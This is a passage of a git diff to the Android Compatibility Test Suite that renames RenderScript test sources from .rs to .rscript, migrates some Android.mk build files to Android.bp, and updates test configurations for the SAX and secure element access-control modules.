rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve5x5.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_convolve5x5.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_lut.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_lut.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_lut.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_lut.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_resize.rs b/tests/tests/renderscript/src/android/renderscript/cts/intrinsic_resize.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/intrinsic_resize.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/intrinsic_resize.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/is_object.rs b/tests/tests/renderscript/src/android/renderscript/cts/is_object.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/is_object.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/is_object.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/kernel_all.rs b/tests/tests/renderscript/src/android/renderscript/cts/kernel_all.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/kernel_all.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/kernel_all.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/kernel_input.rs b/tests/tests/renderscript/src/android/renderscript/cts/kernel_input.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/kernel_input.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/kernel_input.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/large_global.rs b/tests/tests/renderscript/src/android/renderscript/cts/large_global.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/large_global.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/large_global.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/launchclip.rs b/tests/tests/renderscript/src/android/renderscript/cts/launchclip.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/launchclip.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/launchclip.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/matrix.rs b/tests/tests/renderscript/src/android/renderscript/cts/matrix.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/matrix.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/matrix.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/missing_link.rs b/tests/tests/renderscript/src/android/renderscript/cts/missing_link.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/missing_link.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/missing_link.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/negate.rs b/tests/tests/renderscript/src/android/renderscript/cts/negate.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/negate.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/negate.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/noroot.rs b/tests/tests/renderscript/src/android/renderscript/cts/noroot.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/noroot.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/noroot.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/oob.rs b/tests/tests/renderscript/src/android/renderscript/cts/oob.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/oob.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/oob.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/passthrough.rs b/tests/tests/renderscript/src/android/renderscript/cts/passthrough.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/passthrough.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/passthrough.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/primitives.rs b/tests/tests/renderscript/src/android/renderscript/cts/primitives.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/primitives.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/primitives.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/reduce.rs b/tests/tests/renderscript/src/android/renderscript/cts/reduce.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/reduce.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/reduce.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/reduction.rs b/tests/tests/renderscript/src/android/renderscript/cts/reduction.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/reduction.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/reduction.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_d1new.rs b/tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_d1new.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_d1new.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_d1new.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_f32.rs b/tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_f32.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_f32.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/refocus/layered_filter_fast_f32.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32.rs b/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32_relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32_relaxed.rs
deleted file mode 100644
index d93b8e2..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32_relaxed.rs
+++ /dev/null
@@ -1,2 +0,0 @@
-#include "rs_frac_f32.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32_relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32_relaxed.rscript
new file mode 100644
index 0000000..1002fcd
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/rs_frac_f32_relaxed.rscript
@@ -0,0 +1,2 @@
+#include "rs_frac_f32.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/rs_pack_color_to_8888.rs b/tests/tests/renderscript/src/android/renderscript/cts/rs_pack_color_to_8888.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/rs_pack_color_to_8888.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/rs_pack_color_to_8888.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/rs_unpack_color_8888.rs b/tests/tests/renderscript/src/android/renderscript/cts/rs_unpack_color_8888.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/rs_unpack_color_8888.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/rs_unpack_color_8888.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/rsallocationcopy.rs b/tests/tests/renderscript/src/android/renderscript/cts/rsallocationcopy.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/rsallocationcopy.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/rsallocationcopy.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/sample.rs b/tests/tests/renderscript/src/android/renderscript/cts/sample.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/sample.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/sample.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/scriptgroup.rs b/tests/tests/renderscript/src/android/renderscript/cts/scriptgroup.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/scriptgroup.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/scriptgroup.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/sendToClientBlocking.rs b/tests/tests/renderscript/src/android/renderscript/cts/sendToClientBlocking.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/sendToClientBlocking.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/sendToClientBlocking.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/send_to_client.rs b/tests/tests/renderscript/src/android/renderscript/cts/send_to_client.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/send_to_client.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/send_to_client.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/send_to_client_1.rs b/tests/tests/renderscript/src/android/renderscript/cts/send_to_client_1.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/send_to_client_1.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/send_to_client_1.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/set_object.rs b/tests/tests/renderscript/src/android/renderscript/cts/set_object.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/set_object.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/set_object.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/setelementat.rs b/tests/tests/renderscript/src/android/renderscript/cts/setelementat.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/setelementat.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/setelementat.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/single_source_alloc.rs b/tests/tests/renderscript/src/android/renderscript/cts/single_source_alloc.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/single_source_alloc.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/single_source_alloc.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/small_structs.rs b/tests/tests/renderscript/src/android/renderscript/cts/small_structs.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/small_structs.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/small_structs.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/struct_array.rs b/tests/tests/renderscript/src/android/renderscript/cts/struct_array.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/struct_array.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/struct_array.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/struct_field.rs b/tests/tests/renderscript/src/android/renderscript/cts/struct_field.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/struct_field.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/struct_field.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/struct_object.rs b/tests/tests/renderscript/src/android/renderscript/cts/struct_object.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/struct_object.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/struct_object.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/struct_pad.rs b/tests/tests/renderscript/src/android/renderscript/cts/struct_pad.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/struct_pad.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/struct_pad.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/utils.rs b/tests/tests/renderscript/src/android/renderscript/cts/utils.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/utils.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/utils.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/vector.rs b/tests/tests/renderscript/src/android/renderscript/cts/vector.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/vector.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/vector.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/verify.rs b/tests/tests/renderscript/src/android/renderscript/cts/verify.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/verify.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/verify.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/vload.rs b/tests/tests/renderscript/src/android/renderscript/cts/vload.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/vload.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/vload.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/vload_relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/vload_relaxed.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/vload_relaxed.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/vload_relaxed.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/void_ptr.rs b/tests/tests/renderscript/src/android/renderscript/cts/void_ptr.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/void_ptr.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/void_ptr.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/yuv.rs b/tests/tests/renderscript/src/android/renderscript/cts/yuv.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/yuv.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/yuv.rscript
diff --git a/tests/tests/rsblas/libbnnmdata/Android.bp b/tests/tests/rsblas/libbnnmdata/Android.bp
new file mode 100644
index 0000000..ec6a524
--- /dev/null
+++ b/tests/tests/rsblas/libbnnmdata/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libbnnmdata_jni",
+    srcs: ["test_data.cpp"],
+    sdk_version: "23",
+    stl: "c++_static",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-const-variable",
+    ],
+}
diff --git a/tests/tests/rsblas/libbnnmdata/Android.mk b/tests/tests/rsblas/libbnnmdata/Android.mk
deleted file mode 100644
index 6a5e542..0000000
--- a/tests/tests/rsblas/libbnnmdata/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libbnnmdata_jni
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := test_data.cpp
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-const-variable
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/rsblas/src/android/renderscript/cts/verify.rs b/tests/tests/rsblas/src/android/renderscript/cts/verify.rscript
similarity index 100%
rename from tests/tests/rsblas/src/android/renderscript/cts/verify.rs
rename to tests/tests/rsblas/src/android/renderscript/cts/verify.rscript
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 633ee23..0084d82 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -31,20 +31,19 @@
     rs_jni_object.cpp
 
 LOCAL_SRC_FILES += \
-    setelementat.rs \
-    primitives.rs \
-    instance.rs \
-    clear_object.rs \
-    foreach.rs \
-    fe_all.rs \
-    noroot.rs \
-    vector.rs
+    setelementat.rscript \
+    primitives.rscript \
+    instance.rscript \
+    clear_object.rscript \
+    foreach.rscript \
+    fe_all.rscript \
+    noroot.rscript \
+    vector.rscript
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 LOCAL_C_INCLUDES += frameworks/rs/cpp
 LOCAL_C_INCLUDES += frameworks/rs
 
-LOCAL_CPPFLAGS := -std=c++11
 LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
 
 LOCAL_SHARED_LIBRARIES := libdl liblog
diff --git a/tests/tests/rscpp/librscpptest/clear_object.rs b/tests/tests/rscpp/librscpptest/clear_object.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/clear_object.rs
rename to tests/tests/rscpp/librscpptest/clear_object.rscript
diff --git a/tests/tests/rscpp/librscpptest/fe_all.rs b/tests/tests/rscpp/librscpptest/fe_all.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/fe_all.rs
rename to tests/tests/rscpp/librscpptest/fe_all.rscript
diff --git a/tests/tests/rscpp/librscpptest/foreach.rs b/tests/tests/rscpp/librscpptest/foreach.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/foreach.rs
rename to tests/tests/rscpp/librscpptest/foreach.rscript
diff --git a/tests/tests/rscpp/librscpptest/instance.rs b/tests/tests/rscpp/librscpptest/instance.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/instance.rs
rename to tests/tests/rscpp/librscpptest/instance.rscript
diff --git a/tests/tests/rscpp/librscpptest/noroot.rs b/tests/tests/rscpp/librscpptest/noroot.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/noroot.rs
rename to tests/tests/rscpp/librscpptest/noroot.rscript
diff --git a/tests/tests/rscpp/librscpptest/primitives.rs b/tests/tests/rscpp/librscpptest/primitives.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/primitives.rs
rename to tests/tests/rscpp/librscpptest/primitives.rscript
diff --git a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
index 1888341..5cbd324 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
@@ -65,12 +65,12 @@
     script->set_charTest(-16);  // charTest
     script->set_shortTest(-32);  // shortTest
     script->set_intTest(-64);  // intTest
-    script->set_longTest(17179869185l);  // longTest
+    script->set_longTest(17179869185L);  // longTest
     script->set_longlongTest(68719476735L); //longlongTest
     script->set_ulongTest(4611686018427387903L);  // boolTest
-    script->set_uint64_tTest(117179869185l); //uint64_tTest
+    script->set_uint64_tTest(117179869185L); //uint64_tTest
     script->set_allocationTest(alloc);  // allocationTest
-    
+
     script->invoke_test_primitive_types();
     mRS->finish();
     if (result == RS_MSG_TEST_FAILED) {
diff --git a/tests/tests/rscpp/librscpptest/setelementat.rs b/tests/tests/rscpp/librscpptest/setelementat.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/setelementat.rs
rename to tests/tests/rscpp/librscpptest/setelementat.rscript
diff --git a/tests/tests/rscpp/librscpptest/vector.rs b/tests/tests/rscpp/librscpptest/vector.rscript
similarity index 100%
rename from tests/tests/rscpp/librscpptest/vector.rs
rename to tests/tests/rscpp/librscpptest/vector.rscript
diff --git a/tests/tests/rscpp/src/android/cts/rscpp/verify.rs b/tests/tests/rscpp/src/android/cts/rscpp/verify.rscript
similarity index 100%
rename from tests/tests/rscpp/src/android/cts/rscpp/verify.rs
rename to tests/tests/rscpp/src/android/cts/rscpp/verify.rscript
diff --git a/tests/tests/sax/Android.bp b/tests/tests/sax/Android.bp
new file mode 100644
index 0000000..37e9357
--- /dev/null
+++ b/tests/tests/sax/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSaxTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
deleted file mode 100644
index b7e4b80..0000000
--- a/tests/tests/sax/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSaxTestCases
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index f81aa67..a9c5ba7 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS SAX test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/sax/OWNERS b/tests/tests/sax/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/tests/tests/sax/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
index cd1b65b..ef992e6 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner
 LOCAL_JAVA_LIBRARIES += android.test.base
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -47,7 +47,7 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/signed-CtsSecureElementAccessControlTestCases1.apk
 
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
index c28ddcc..8ef3068 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.omapi.accesscontrol1.cts">
+          package="android.omapi.accesscontrol1.cts"
+          android:targetSandboxVersion="2">
 
     <application>
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
index 2b7978e..bff9d91 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for CTS OMAPI test cases">
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="systems"/>
+    <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="signed-CtsSecureElementAccessControlTestCases1.apk"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index 9f87b5a..28cb203 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
index f653ef3..38f12ee 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner
 LOCAL_JAVA_LIBRARIES += android.test.base
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -47,7 +47,7 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/signed-CtsSecureElementAccessControlTestCases2.apk
 
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
index c9b9055..65b23a6 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.omapi.accesscontrol2.cts">
+          package="android.omapi.accesscontrol2.cts"
+          android:targetSandboxVersion="2">
 
     <application>
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
index 6a1c905..e6433f7 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for CTS OMAPI test cases">
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="systems"/>
+    <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="signed-CtsSecureElementAccessControlTestCases2.apk"/>
